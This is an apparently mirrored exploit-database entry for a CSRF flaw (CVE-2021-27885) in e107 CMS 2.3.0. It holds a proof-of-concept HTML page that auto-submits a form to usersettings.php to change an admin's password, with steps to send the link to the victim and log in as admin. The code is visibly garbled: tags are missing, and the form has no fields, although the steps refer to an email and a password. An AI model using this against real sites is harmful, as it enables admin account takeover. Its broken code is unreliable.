发布 2021-03-04 漏洞条目

e107 CMS 2.3.0 – CSRF

Exploit Source

# Exploit Title: e107 CMS 2.3.0 - CSRF

# Date: 04/03/2021

# Exploit Author: Tadjmen

# Vendor Homepage: https://e107.org

# Software Link: https://e107.org/download

# Version: 2.3.0

# Tested on: Windows 10

# CVE : CVE-2021-27885

CSRF vulnerability on e107 CMS

## Bug Description

Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link.

## How to Reproduce

Steps to reproduce the behavior:

1. Create a CSRF login POC using the following code.

```

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>Cross Site Request Forgery (Edit Existing Admin details)</title>

</head>

function fireForms()

{

var count = 2;

var i=0;

for(i=0; i<count; i++)

{

document.forms[i].submit();

}

</script>

<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>

<form method="POST" name="form0" action="

http://localhost/[path-to-e107-cms]/usersettings.php">

</form>

</body>

</html>

```

2. Replace the email and password with the valid credentials.

3. Send the link script to the victim (admin) to make them click.

4. Login with new admin password

相关漏洞条目